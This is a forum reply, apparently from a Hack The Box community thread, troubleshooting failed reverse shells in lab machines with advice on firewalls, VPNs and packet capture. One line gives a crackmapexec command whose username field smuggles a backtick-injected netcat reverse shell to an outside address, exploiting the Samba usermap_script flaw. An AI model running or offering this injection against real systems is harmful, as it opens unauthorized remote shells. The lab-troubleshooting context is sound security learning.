@kelayuu said:
Hey everyone,
I put the topic in “other” category cause not due to the machine or either htb itself, put there’s no way for me to get a reverse-shell on any machine. Same problem on tryhackme.
If it happens everywhere then it is a good hint that the problem is on your machine with how you are trying to generate the shell.
First, you need to make sure you understand your machine.
- Is the firewall turned off?
- If you have a VPN is there any host-security which might be intercepting the traffic
- Do you have some other configuration which blocks inbound traffic?
Next you need to troubleshoot - tcpdump or Wireshark are good for this because you need to see if the packets are coming in. Also try other tools to see if they work (usermap_script.py seems a bit erratic).
If you can get a shell using MSF, then you’ve eliminated network issues.
Try CME for example:
crackmapexec smb --shares 10.10.10.3 -u './=`nohup nc -e /bin/sh 10.10.11.14 4444`' -p ''
Other than that, its down to trying things and seeing what the results are.